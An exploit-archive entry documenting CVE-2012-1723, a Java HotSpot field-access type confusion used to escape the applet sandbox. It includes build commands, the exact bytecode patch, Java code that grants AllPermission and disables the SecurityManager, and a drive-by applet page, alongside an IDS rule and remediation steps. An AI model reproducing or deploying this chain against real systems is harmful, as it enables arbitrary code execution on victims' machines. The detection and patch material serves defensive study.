PoC Archive PoC Archive
CVE-2012-1723 category: binary CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 94%
Patched

Oracle Java SE HotSpot Type Confusion Sandbox Escape (CVE-2012-1723)

Published: 2026-11-27 • Researcher: Ethaniel Cox (EthanNJC / ethaniel.me)

Target software Oracle Java SE (JRE and JDK), HotSpot
Affected versions Java SE 7 Update 4 and earlier, 6 Update 32 and earlier, 5.0 Update 35 and earlier, and 1.4.2_37 and earlier; Red Hat IcedTea6 before 1.10.8 and 1.11.0 through 1.11.2 (NVD CPE)
Status PoC (working sandbox escape; requires a manual bytecode patch; demonstration payload only)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 94%

Confirmed exploited in the wild. Added to CISA KEV 2022-03-03. Federal remediation deadline 2022-03-24.

EPSS 93.6% · 100th percentile

Severity
Critical
CVE
CVE-2012-1723
Category
binary
Affected product
Oracle Java SE (JRE and JDK), HotSpot
Affected versions
Java SE 7 Update 4 and earlier, 6 Update 32 and earlier, 5.0 Update 35 and earlier, and 1.4.2_37 and earlier; Red Hat IcedTea6 before 1.10.8 and 1.11.0 through 1.11.2 (NVD CPE)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2017-02-20
Author / ResearcherEthaniel Cox (EthanNJC / ethaniel.me)
CVE / AdvisoryCVE-2012-1723
Categorybinary
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD); 10.0 (CVSSv2, NVD)
StatusPoC (working sandbox escape; requires a manual bytecode patch; demonstration payload only)
TagsJava, JVM, HotSpot, type confusion, sandbox escape, applet, drive-by, CWE-284, CISA KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemOracle Java SE (JRE and JDK), HotSpot
Versions AffectedJava SE 7 Update 4 and earlier, 6 Update 32 and earlier, 5.0 Update 35 and earlier, and 1.4.2_37 and earlier; Red Hat IcedTea6 before 1.10.8 and 1.11.0 through 1.11.2 (NVD CPE)
Language / PlatformJava bytecode / JVM; browser applet plugin on Windows, Linux and macOS
Authentication RequiredNo
Network Access RequiredYes (victim visits an attacker-controlled web page)

Summary

CVE-2012-1723 is a field-access type confusion in the HotSpot JVM that allowed a sandboxed Java applet to escape the security manager. HotSpot reuses a cached type check for a second field access in the same method, so a carefully crafted class can store a ClassLoader into an EvilClassLoader instance field and have it returned as the wrong type. The applet then uses the confused class loader to define a payload class with AllPermission, disables the security manager and executes operating system commands. The flaw was exploited in the wild by drive-by exploit kits and is in the CISA KEV catalog.

Vulnerability Details

Root Cause

HotSpot caches the type verification of field access instructions during JIT compilation. When GETSTATIC, PUTSTATIC, GETFIELD or PUTFIELD is seen, HotSpot verifies the field type and caches the result; a second access to the same field in the same method can reuse that cached verification and go unchecked. The upstream classes exploit the GETSTATIC plus PUTSTATIC combination to type confuse a static ClassLoader.

The Confuser class declares a static ClassLoader field, reads it into a local variable (GETSTATIC), and then writes the method argument with a placeholder this.confuserCL assignment. The generated bytecode for that assignment is ALOAD_0, POP, ALOAD_1, PUTSTATIC (2A 57 2B B3). The class file is then patched by hand so the POP becomes NOP and PUTSTATIC becomes PUTFIELD (2A 00 2B B5). PUTFIELD now stores the ClassLoader at a static field offset that falls inside the instance layout, so with enough declared EvilClassLoader fields the value lands in one of them and confuse() returns it as an EvilClassLoader.

Attack Vector

A malicious web page embeds an applet (code DriveBy.class, archive exploit.jar) that the victim loads in a browser with a vulnerable Java plugin. The applet start() method calls confuse(null) 100000 times to force JIT compilation, sleeps, then calls confuse(getClass().getClassLoader()) with the real applet class loader. The confused loader is used by EvilClassLoader.escapeSandbox to read Payload.class, wrap it in a ProtectionDomain with AllPermission, define it and instantiate it. No authentication or user interaction beyond visiting the page is needed.

Impact

Sandbox escape and arbitrary code execution with the privileges of the user running the browser. The payload removes the SecurityManager, so any subsequent code runs unrestricted: theft of files and credentials, installation of malware or a remote-access tool, and use of the host as a bot. In the wild the technique was distributed through the Blackhole Exploit Kit.

Environment / Lab Setup

The upstream README contains no setup steps; it only links the author’s walk-through at https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/. The steps below are reconstructed from that walk-through and from the committed source. They have not been executed during preparation of this entry.

Output
OS:          Windows or Linux victim with a browser Java plugin (Windows 7/XP era is typical)
Target:      Oracle JRE 7 Update 4 or earlier (6u32, 5u35, 1.4.2_37 also affected)
Attacker:    Web server hosting the page, the jar and the attacker payload
Tools:       JDK (7u4 to match the bytecode), javac, javap, jar, a hex editor, an old Firefox/IE with the Java plugin

Setup Steps

Shell script
1
2
3
4
5
6
7
8
javac me/ethaniel/cve20122723/EvilClassLoader.java me/ethaniel/cve20122723/Confuser.java

javap -v me/ethaniel/cve20122723/Confuser.class

javac me/ethaniel/cve20122723/DriveBy.java me/ethaniel/cve20122723/Payload.java \
      me/ethaniel/cve20122723/EvilClassLoader.java

jar cvf exploit.jar me/ethaniel/cve20122723/*.class

The victim JRE must be vulnerable; the build JRE should match so that the edited bytecode offsets are the ones produced by the committed source.

Proof of Concept

Step-by-Step Reproduction

  1. Compile and patch — Build Confuser.class, locate the instruction sequence 2A 57 2B B3 in a hex editor, and change it to 2A 00 2B B5 as described above. Without this patch the applet does not type confuse the class loader.

  2. Build the applet jar — Compile the applet, payload and class loader classes, then package them into exploit.jar.

  3. Host the drive-by page — Publish DriveBy.html with the applet tag and exploit.jar on a web server reachable by the victim.

  4. Trigger the applet — Open the page in a browser backed by a vulnerable JRE. The applet warms up the JIT, confuses the applet class loader into an EvilClassLoader, and loads Payload with AllPermission.

  5. Observe execution — The payload clears the SecurityManager and runs Runtime.getRuntime().exec(“cmd.exe /c start”), which opens a command prompt outside the sandbox.

Exploit Code

See me/ethaniel/cve20122723/DriveBy.java (trigger), Confuser.java (type confusion), EvilClassLoader.java (permission escalation) and Payload.java (payload) in this folder.

Java source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// EvilClassLoader.escapeSandbox(): load the payload class with AllPermission
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, new Certificate[0]), permissions);
Class payloadClass = DriveBy.appletCL.defineClass("Payload", classBytes, 0, classBytes.length, pd);
Payload payload = (Payload) payloadClass.newInstance();

// Payload.run(): drop the sandbox and execute a command
System.setSecurityManager(null);
Runtime.getRuntime().exec("cmd.exe /c start");

Expected Output

Output

The upstream walk-through shows a “pwned” screenshot for the same chain. The demonstration payload only opens a command prompt; replacing it with a real command turns the PoC into arbitrary code execution.

Detection & Indicators of Compromise

Output
GET /driveby.html HTTP/1.1
GET /exploit.jar HTTP/1.1
Content-Type: application/java-archive

SIEM / IDS Rule (example):

Output
alert tcp any any -> any any (msg:"Possible CVE-2012-1723 Java applet exploit jar download"; flow:to_client,established; content:"application/java-archive"; http_header; content:"exploit.jar"; http_uri; reference:cve,2012-1723; sid:9000172;)

Process-based detection is more reliable than network signatures: alert when a browser process creates a java.exe child that in turn creates cmd.exe or powershell.exe, especially on hosts that still have old JRE browser plugins installed.

Remediation

ActionDetail
PatchUpdate to Oracle Java SE 7 Update 5, 6 Update 33, 5.0 Update 36 or later (Oracle Critical Patch Update June 2012).
WorkaroundDisable the Java browser plugin, block applet and jar downloads at the proxy, and prevent browsers from launching the plugin.
Config HardeningRemove unsupported JREs, enforce a supported Java baseline (or no browser Java at all), use application allowlisting and EDR to catch browser-to-shell process chains, and monitor for applet use on managed endpoints.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/EthanNJC/CVE-2012-1723 (stars 0, forks 0, Java).

Review verdict: ingested. The repository is genuine exploitation code, not a detector: Confuser.java implements the field-access type confusion, EvilClassLoader.java escalates to AllPermission with defineClass, and Payload.java removes the SecurityManager and executes a command. The author’s walk-through demonstrates the chain working end to end.

License: the upstream repository has no LICENSE file; copyright remains with the author. The upstream README (README.MD) is copied as upstream-README.md and the blog is linked for attribution.

Limitations: the committed Confuser.java is the pre-patch source and the exploit only works after the manual bytecode edit 2A 57 2B B3 to 2A 00 2B B5, which is not automated in the repository. The classes declare package me.ethaniel.cve20122723 while DriveBy.html references DriveBy.class at the jar root and EvilClassLoader loads Payload.class from the jar root, so the jar layout or the HTML and resource paths need to be adjusted for the applet to load. The demonstration payload only opens cmd.exe. A browser with a vulnerable Java plugin (Java 7u4 or earlier) is required and such an environment is hard to build today. No exploit code was executed during preparation of this entry.

driveby.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2012-1723</title>
</head>
<body>

    <applet code="DriveBy.class" archive="exploit.jar">

</body>
</html>